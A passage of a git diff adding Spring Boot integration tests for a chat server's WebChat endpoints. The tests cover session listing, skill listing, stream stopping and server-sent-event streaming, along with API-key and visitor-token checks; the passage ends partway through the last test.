b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSessionManagementTest.java new file mode 100644 index 00000000..80210a3c --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSessionManagementTest.java @@ -0,0 +1,136 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatSessionView; +import vip.mate.common.result.R; +import vip.mate.workspace.conversation.ConversationService; + +import java.util.List; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of the WebChat visitor session-management endpoints + * against a booted context + real H2 (migrations incl. V147 run). Exercises the + * controller's real auth (channel lookup + visitor-token HMAC), pagination, + * keyword search, rename, and — the key case — that a thread whose + * conversationId hashed (long visitorId + sessionId) is still listed with its + * sessionId recovered from the persisted column. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_sess_test_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatSessionManagementTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; // key8 = "testkey1" + private static final String VISITOR = "visitorAAAA"; + private static final long CHANNEL_ID = 9_147_001L; + // Long enough that "webchat:testkey1:visitorAAAA:" exceeds 64 chars and hashes. + private static final String LONG_SESSION = "session-1234567890-abcdefghij-klmnopqrst"; + + @Autowired private WebChatController controller; + @Autowired private ConversationService conversationService; + @Autowired private JdbcTemplate jdbc; + + private String token; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + + String owner = WebChatController.webchatUsername(VISITOR); + // default thread (no sessionId) + conversationService.getOrCreateWebchatConversation( + WebChatController.deriveConversationId(API_KEY, VISITOR, null), null, owner, 1L, null); + // short sessioned thread + conversationService.getOrCreateWebchatConversation( + WebChatController.deriveConversationId(API_KEY, VISITOR, "s1"), null, owner, 1L, "s1"); + // long sessioned thread → conversationId hashes + conversationService.getOrCreateWebchatConversation( + WebChatController.deriveConversationId(API_KEY, VISITOR, LONG_SESSION), null, owner, 1L, LONG_SESSION); + + token = WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, VISITOR); + } + + @Test + @DisplayName("listSessions includes the hashed long-id thread with its sessionId recovered") + @SuppressWarnings("unchecked") + void listsHashedThread() { + R> r = (R>) (R) controller.listSessions(API_KEY, token, VISITOR, false); + assertThat(r.getCode()).isEqualTo(200); + List sessions = r.getData(); + assertThat(sessions).hasSize(3); + assertThat(sessions).extracting(WebChatSessionView::getSessionId) + .containsExactlyInAnyOrder(null, "s1", LONG_SESSION); + } + + @Test + @DisplayName("bad visitor token is rejected") + @SuppressWarnings("unchecked") + void rejectsBadToken() { + R> r = (R>) (R) controller.listSessions(API_KEY, "bogus", VISITOR, false); + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("pageSessions paginates and keyword-searches by title") + void pagesAndSearches() { + R> page = controller.pageSessions(API_KEY, token, VISITOR, 1, 2, null, false); + assertThat(page.getCode()).isEqualTo(200); + assertThat(page.getData().get("total")).isEqualTo(3L); + assertThat((List) page.getData().get("items")).hasSize(2); + + // Rename one thread, then search for it. + controller.renameSession(API_KEY, token, VISITOR, "s1", Map.of("title", "QuarterlyReport")); + R> hit = controller.pageSessions(API_KEY, token, VISITOR, 1, 20, "quarterly", false); + assertThat((List) hit.getData().get("items")).hasSize(1); + } + + @Test + @DisplayName("rename updates the thread title") + void renames() { + R r = controller.renameSession(API_KEY, token, VISITOR, "s1", Map.of("title", "Renamed")); + assertThat(r.getCode()).isEqualTo(200); + + String cid = WebChatController.deriveConversationId(API_KEY, VISITOR, "s1"); + String title = jdbc.queryForObject( + "SELECT title FROM mate_conversation WHERE conversation_id = ?", String.class, cid); + assertThat(title).isEqualTo("Renamed"); + } + + @Test + @DisplayName("sessionMessages paginates with hasMore") + @SuppressWarnings("unchecked") + void paginatesMessages() { + String cid = WebChatController.deriveConversationId(API_KEY, VISITOR, "s1"); + conversationService.saveMessage(cid, "user", "m1"); + conversationService.saveMessage(cid, "assistant", "m2"); + conversationService.saveMessage(cid, "user", "m3"); + + R r = controller.sessionMessages(API_KEY, token, VISITOR, "s1", null, 2); + assertThat(r.getCode()).isEqualTo(200); + Map data = (Map) r.getData(); + assertThat((List) data.get("messages")).hasSize(2); + assertThat(data.get("hasMore")).isEqualTo(true); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSkillListTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSkillListTest.java new file mode 100644 index 00000000..d552c2bf --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatSkillListTest.java @@ -0,0 +1,191 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatSkillView; +import vip.mate.common.result.R; + +import java.util.List; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end coverage for {@code GET /api/v1/channels/webchat/skills} — the + * visitor-facing skill catalogue that downstream integrators use to build a + * slash picker UI. Verifies the auth chain (API Key + visitorToken HMAC), the + * agent workspace anti-escalation guard, and the bound+enabled filtering that + * decides which skills surface to a visitor. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_skills_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatSkillListTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_300_001L; + private static final long AGENT_ID = 9_300_011L; + private static final long OTHER_WORKSPACE_AGENT_ID = 9_300_012L; + private static final long SKILL_ENABLED_A = 9_300_101L; + private static final long SKILL_ENABLED_B = 9_300_102L; + private static final long SKILL_DISABLED = 9_300_103L; + + @Autowired private WebChatController controller; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + // Wipe + re-seed. Bindings + channel + agent + skills. + jdbc.update("DELETE FROM mate_agent_skill WHERE agent_id = ?", AGENT_ID); + jdbc.update("DELETE FROM mate_agent_skill WHERE agent_id = ?", OTHER_WORKSPACE_AGENT_ID); + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id IN (?, ?, ?)", + AGENT_ID, OTHER_WORKSPACE_AGENT_ID, SKILL_ENABLED_A); + for (long id : new long[]{SKILL_ENABLED_A, SKILL_ENABLED_B, SKILL_DISABLED}) { + jdbc.update("DELETE FROM mate_skill WHERE id = ?", id); + } + + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-skills-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + // Agent in a different workspace — must not be reachable through this channel. + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-skills-other-ws-agent', 'react', '', 10, TRUE, 999, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + OTHER_WORKSPACE_AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + + // Three skills: two enabled (different slugs / display names), one disabled. + // The bound+enabled filter should keep A + B and drop the disabled one. + jdbc.update("MERGE INTO mate_skill (id, name, name_zh, name_en, description, icon, " + + "skill_type, enabled, builtin, workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'beta-skill', 'Beta', 'Beta (EN)', 'B desc', 'b-emoji', " + + "'custom', TRUE, FALSE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + SKILL_ENABLED_B); + jdbc.update("MERGE INTO mate_skill (id, name, name_zh, name_en, description, icon, " + + "skill_type, enabled, builtin, workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'alpha-skill', 'Alpha', 'Alpha (EN)', 'A desc', 'a-emoji', " + + "'custom', TRUE, FALSE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + SKILL_ENABLED_A); + jdbc.update("MERGE INTO mate_skill (id, name, name_zh, name_en, description, icon, " + + "skill_type, enabled, builtin, workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'disabled-skill', 'Disabled', 'Disabled (EN)', 'D desc', 'd-emoji', " + + "'custom', FALSE, FALSE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + SKILL_DISABLED); + + // Bind all three to AGENT_ID. Binding rows themselves are enabled; the + // SkillEntity.enabled flag is what the controller filters on. + for (long sid : new long[]{SKILL_ENABLED_A, SKILL_ENABLED_B, SKILL_DISABLED}) { + jdbc.update("MERGE INTO mate_agent_skill (id, agent_id, skill_id, enabled, " + + "create_time, update_time, deleted) " + + "KEY(id) VALUES (?, ?, ?, TRUE, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + sid * 10, AGENT_ID, sid); + } + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + @Test + @DisplayName("happy path: bound + enabled skills surface, sorted by slug; disabled ones dropped") + void listReturnsBoundEnabledSorted() { + R> r = controller.listSkills( + API_KEY, tokenFor("v1"), null, "v1"); + + assertThat(r.getCode()).isEqualTo(200); + List data = r.getData(); + assertThat(data).hasSize(2); + // Sorted by slug: alpha-skill, beta-skill. + assertThat(data.get(0).getName()).isEqualTo("alpha-skill"); + assertThat(data.get(0).getNameZh()).isEqualTo("Alpha"); + assertThat(data.get(0).getDescription()).isEqualTo("A desc"); + assertThat(data.get(1).getName()).isEqualTo("beta-skill"); + // The disabled one must NOT surface. + assertThat(data).noneMatch(s -> "disabled-skill".equals(s.getName())); + } + + @Test + @DisplayName("explicit agentId matching channel workspace works") + void explicitAgentIdSameWorkspace() { + R> r = controller.listSkills( + API_KEY, tokenFor("v2"), AGENT_ID, "v2"); + + assertThat(r.getCode()).isEqualTo(200); + assertThat(r.getData()).hasSize(2); + } + + @Test + @DisplayName("explicit agentId in a different workspace → 403 (anti-escalation)") + void explicitAgentIdDifferentWorkspace() { + R> r = controller.listSkills( + API_KEY, tokenFor("v3"), OTHER_WORKSPACE_AGENT_ID, "v3"); + + assertThat(r.getCode()).isEqualTo(403); + assertThat(r.getData()).isNull(); + } + + @Test + @DisplayName("invalid API Key → 401") + void invalidApiKey() { + R> r = controller.listSkills( + "garbagekeyxyz12", tokenFor("v4"), null, "v4"); + + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("missing/invalid visitor token → 401") + void invalidVisitorToken() { + R> r = controller.listSkills( + API_KEY, "not-a-valid-token", null, "v5"); + + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("agent with no explicit bindings returns empty (fall-through to natural language)") + void noBindingsReturnsEmpty() { + // Agent with no rows in mate_agent_skill. Use a fresh agent ID that + // doesn't share the seeded bindings. + long lonelyAgent = 9_300_099L; + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-skills-lonely', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + lonelyAgent); + // Repoint the channel to this agent so the default-agent path resolves + // it without needing the explicit agentId parameter. + jdbc.update("UPDATE mate_channel SET agent_id = ? WHERE id = ?", lonelyAgent, CHANNEL_ID); + + R> r = controller.listSkills( + API_KEY, tokenFor("v6"), null, "v6"); + + assertThat(r.getCode()).isEqualTo(200); + // null bound IDs → controller returns empty rather than surfacing every + // enabled skill in the workspace (visitor UI should be agent-scoped). + assertThat(r.getData()).isEmpty(); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatStopStreamTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatStopStreamTest.java new file mode 100644 index 00000000..f2561a88 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatStopStreamTest.java @@ -0,0 +1,133 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import reactor.core.Disposable; +import reactor.core.publisher.Flux; +import vip.mate.MateClawApplication; +import vip.mate.channel.web.ChatStreamTracker; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.common.result.R; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of {@code POST /api/v1/channels/webchat/sessions/stop} + * against a booted context + real H2 (migrations incl. V147). + *

    + * The non-trivial case is {@link #stopsActiveStream()}: a real Reactor + * {@code Disposable} is registered on the tracker (mirroring what + * {@code WebChatController.chatStream} now does after subscribe), and the test + * asserts that {@code stopSession} both returns {@code stopped=true} AND + * actually disposes the underlying subscription — proving the chatStream + * wiring change is what makes the new endpoint functional rather than a no-op. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_stop_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatStopStreamTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; // key8 = "testkey1" + private static final long CHANNEL_ID = 9_147_201L; + private static final long AGENT_ID = 9_147_2011L; + + @Autowired private WebChatController controller; + @Autowired private ChatStreamTracker streamTracker; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-stop-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + return r; + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + @Test + @DisplayName("stop actually disposes the active subscription (chatStream wiring works)") + void stopsActiveStream() { + controller.createSession(API_KEY, req("visitorA", "s1")); + String cid = WebChatController.deriveConversationId(API_KEY, "visitorA", "s1"); + + // Simulate what WebChatController.chatStream does right after .subscribe(): + // register the run + bind the Disposable so requestStop() can dispose it. + streamTracker.register(cid); + Disposable disposable = Flux.never().subscribe(); + streamTracker.setDisposable(cid, disposable); + assertThat(disposable.isDisposed()).isFalse(); + + R> r = controller.stopSession(API_KEY, tokenFor("visitorA"), "visitorA", "s1"); + assertThat(r.getCode()).isEqualTo(200); + assertThat(r.getData().get("stopped")).isEqualTo(Boolean.TRUE); + assertThat(disposable.isDisposed()).isTrue(); + } + + @Test + @DisplayName("stop returns stopped=false when no stream is active (idempotent)") + void noActiveStreamReturnsFalse() { + controller.createSession(API_KEY, req("visitorB", "s1")); + + R> r = controller.stopSession(API_KEY, tokenFor("visitorB"), "visitorB", "s1"); + assertThat(r.getCode()).isEqualTo(200); + assertThat(r.getData().get("stopped")).isEqualTo(Boolean.FALSE); + } + + @Test + @DisplayName("bad visitor token → 401") + void rejectsBadToken() { + controller.createSession(API_KEY, req("visitorC", "s1")); + + R> r = controller.stopSession(API_KEY, "bogus-token", "visitorC", "s1"); + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("bad API Key → 401") + void rejectsBadApiKey() { + R> r = controller.stopSession("bogus-key", "any-token", "visitorD", "s1"); + assertThat(r.getCode()).isEqualTo(401); + } + + @Test + @DisplayName("unknown sessionId → 404 (no namespace probing)") + void rejectsUnknownSession() { + // Visitor exists (token verifies) but never created session "ghost". + R> r = controller.stopSession( + API_KEY, tokenFor("visitorE"), "visitorE", "never-created"); + assertThat(r.getCode()).isEqualTo(404); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatStreamE2ETest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatStreamE2ETest.java new file mode 100644 index 00000000..9453abbc --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatStreamE2ETest.java @@ -0,0 +1,500 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import reactor.core.publisher.Flux; +import vip.mate.MateClawApplication; +import vip.mate.agent.AgentService; +import vip.mate.agent.model.AgentEntity; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.time.Duration; +import java.util.ArrayList; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.ArgumentMatchers.isNull; + +/** + * End-to-end HTTP coverage of {@code POST /api/v1/channels/webchat/stream} (epic #355 PR 5). + * + *

    Unlike the rest of the webchat suite, which drives the controller directly + * with {@code webEnvironment = NONE}, this test boots a real servlet container + * on a random port and issues HTTP POSTs against {@code /stream}. The response + * body is the actual SSE wire format produced by Spring MVC's SseEmitter — the + * parser here is the one any third-party SDK would have to write. + * + *

    {@link AgentService} is replaced with a Mockito {@code @MockBean} so the + * agent / model layer is short-circuited: tests stub + * {@link AgentService#chatStructuredStream} to return canned {@link AgentService.StreamDelta}s + * and assert on the resulting SSE event sequence. This keeps the test fast, + * deterministic, and independent of the real LLM provider registry. + * + *

    Scope: + *

      + *
    • happy path — {@code meta} → {@code content_delta}* → {@code done}, + * concatenated assistant reply persisted as one row
    • + *
    • multi-chunk reply (thinking + content + usage event)
    • + *
    • bad API key — SSE {@code error} event with "Invalid API Key"
    • + *
    • blank message — SSE {@code error} event with "Message is required"
    • + *
    • unknown agent (channel misconfigured) — SSE {@code error} event
    • + *
    + * + *

    Not covered here: mid-stream stop (covered by {@link WebChatStopStreamTest} + * at the controller level — the wiring it asserts on is shared with /stream), + * and attachment ingestion (requires POST /upload first; out of scope for this + * PR's wire-format focus). + * + * @author MateClaw Team + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_stream_e2e_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "mateclaw.jwt.secret=webchat-it-secret-0123456789", + "mateclaw.feature-flag.refresh-ms=999999" +}) +class WebChatStreamE2ETest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1e2etest01"; // key8 = "testkey1" + private static final long CHANNEL_ID = 9_148_001L; + private static final long AGENT_ID = 9_148_0011L; + private static final Duration HTTP_TIMEOUT = Duration.ofSeconds(15); + + @LocalServerPort private int port; + @Autowired private JdbcTemplate jdbc; + + /** Replaced with a Mockito mock; tests stub the two methods /stream calls. */ + @MockBean private AgentService agentService; + + private HttpClient http; + + @BeforeEach + void setUp() { + http = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(5)).build(); + + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-e2e-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + + // Default stubs — individual tests override chatStructuredStream as needed. + AgentEntity agent = new AgentEntity(); + agent.setId(AGENT_ID); + agent.setWorkspaceId(1L); + org.mockito.Mockito.when(agentService.getAgent(AGENT_ID)).thenReturn(agent); + } + + // ==================== helpers ==================== + + private URI streamUri() { + return URI.create("http://localhost:" + port + "/api/v1/channels/webchat/stream"); + } + + private HttpRequest streamPost(String apiKey, String bodyJson) { + return HttpRequest.newBuilder() + .uri(streamUri()) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", apiKey) + .header("Content-Type", "application/json") + .header("Accept", "text/event-stream") + .POST(HttpRequest.BodyPublishers.ofString(bodyJson, StandardCharsets.UTF_8)) + .build(); + } + + /** + * Reads the SSE response until either a {@code done} event lands (the + * controller does not auto-complete the emitter after {@code done}, so we + * must close ourselves), or the connection closes on its own (error paths + * call {@code emitter.complete()} via {@code sendErrorAndComplete}). + */ + private List sendAndDrain(HttpRequest req) throws Exception { + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofInputStream()); + try (InputStream is = resp.body(); + BufferedReader reader = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8))) { + return drain(reader); + } + } + + private static List drain(BufferedReader reader) throws IOException { + List events = new ArrayList<>(); + SseEvent cur = null; + boolean seenDone = false; + String line; + while (!seenDone && (line = reader.readLine()) != null) { + if (line.isEmpty()) { + if (cur != null) { + events.add(cur); + if ("done".equals(cur.name)) { + seenDone = true; + } + cur = null; + } + continue; + } + if (line.startsWith("event:")) { + if (cur == null) cur = new SseEvent(); + cur.name = line.substring("event:".length()).trim(); + } else if (line.startsWith("data:")) { + if (cur == null) cur = new SseEvent(); + // Multiple data: lines within one event are concatenated by SSE + // spec with a \n; this server always emits single-line JSON, + // so we just keep the last one. + cur.data = line.substring("data:".length()).trim(); + } else if (line.startsWith("id:")) { + if (cur == null) cur = new SseEvent(); + cur.id = line.substring("id:".length()).trim(); + } + // Comment lines (":") and unknown prefixes are ignored. + } + if (cur != null) { + events.add(cur); + } + return events; + } + + static final class SseEvent { + String name; + String data; + String id; + + @Override public String toString() { + return "SseEvent{name='" + name + '\'' + ", data='" + data + '\'' + "}"; + } + } + + private long countAssistantMessages(String conversationId) { + Integer c = jdbc.queryForObject( + "SELECT COUNT(*) FROM mate_message WHERE conversation_id = ? AND role = 'assistant'", + Integer.class, conversationId); + return c != null ? c : 0; + } + + private long countUserMessages(String conversationId) { + Integer c = jdbc.queryForObject( + "SELECT COUNT(*) FROM mate_message WHERE conversation_id = ? AND role = 'user'", + Integer.class, conversationId); + return c != null ? c : 0; + } + + private String lastAssistantContent(String conversationId) { + List rows = jdbc.queryForList( + "SELECT content FROM mate_message WHERE conversation_id = ? AND role = 'assistant' " + + "ORDER BY create_time DESC, id DESC LIMIT 1", + String.class, conversationId); + return rows.isEmpty() ? null : rows.get(0); + } + + // ==================== tests ==================== + + @Test + @DisplayName("happy path: meta → content_delta* → done; assistant reply persisted") + void happyPath() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + new AgentService.StreamDelta("Hello ", null), + new AgentService.StreamDelta("world!", null))); + + String visitorId = "vE2E-happy"; + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"" + visitorId + "\"}")); + + List names = events.stream().map(e -> e.name).toList(); + assertThat(names).containsSequence("meta", "content_delta", "content_delta", "done"); + + SseEvent meta = events.stream().filter(e -> "meta".equals(e.name)).findFirst().orElseThrow(); + assertThat(meta.data) + .contains("\"visitorToken\":") + .contains("\"conversationId\":") + .contains("\"sessionId\":null"); + + // Concatenated assistant reply persisted exactly once. + String cid = WebChatController.deriveConversationId(API_KEY, visitorId, null); + assertThat(countUserMessages(cid)).isEqualTo(1); + assertThat(countAssistantMessages(cid)).isEqualTo(1); + assertThat(lastAssistantContent(cid)).isEqualTo("Hello world!"); + } + + @Test + @DisplayName("multi-chunk reply: thinking + content + usage event all broadcast; persisted content is content-only") + void multiChunkReply() throws Exception { + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just( + new AgentService.StreamDelta(null, "Let me think..."), + new AgentService.StreamDelta("Final ", null), + new AgentService.StreamDelta(null, null, "_usage_final", + Map.of("promptTokens", 10, "completionTokens", 5, + "runtimeModelName", "mock-model", "runtimeProviderId", "mock-provider"), + false), + new AgentService.StreamDelta("answer.", null))); + + String visitorId = "vE2E-multi"; + List events = sendAndDrain( + streamPost(API_KEY, "{\"message\":\"hi\",\"visitorId\":\"" + visitorId + "\"}")); + + Map> byName = new LinkedHashMap<>(); + for (SseEvent e : events) { + byName.computeIfAbsent(e.name, k -> new ArrayList<>()).add(e); + } + assertThat(byName).containsKeys("meta", "thinking_delta", "content_delta", "done"); + // 2 content_delta events, 1 thinking_delta, exactly one done. + assertThat(byName.get("content_delta")).hasSize(2); + assertThat(byName.get("thinking_delta")).hasSize(1); + assertThat(byName.get("done")).hasSize(1); + assertThat(byName.get("meta")).hasSize(1); + + // Persisted assistant message: only the concatenated content (no thinking). + String cid = WebChatController.deriveConversationId(API_KEY, visitorId, null); + assertThat(lastAssistantContent(cid)).isEqualTo("Final answer."); + + // Usage attribution lands on the row. + Map row = jdbc.queryForMap( + "SELECT prompt_tokens, completion_tokens, runtime_model, runtime_provider " + + "FROM mate_message WHERE conversation_id = ? AND role = 'assistant'", cid); + assertThat(row.get("prompt_tokens")).isEqualTo(10); + assertThat(row.get("completion_tokens")).isEqualTo(5); + assertThat(row.get("runtime_model")).isEqualTo("mock-model"); + assertThat(row.get("runtime_provider")).isEqualTo("mock-provider"); + } + + @Test + @DisplayName("bad API key → SSE error event 'Invalid API Key', connection closed") + void badApiKey() throws Exception { + List events = sendAndDrain( + streamPost("bogus-key-not-registered", "{\"message\":\"hi\",\"visitorId\":\"vBad\"}")); + + // Only one event: error. No meta, no content, no 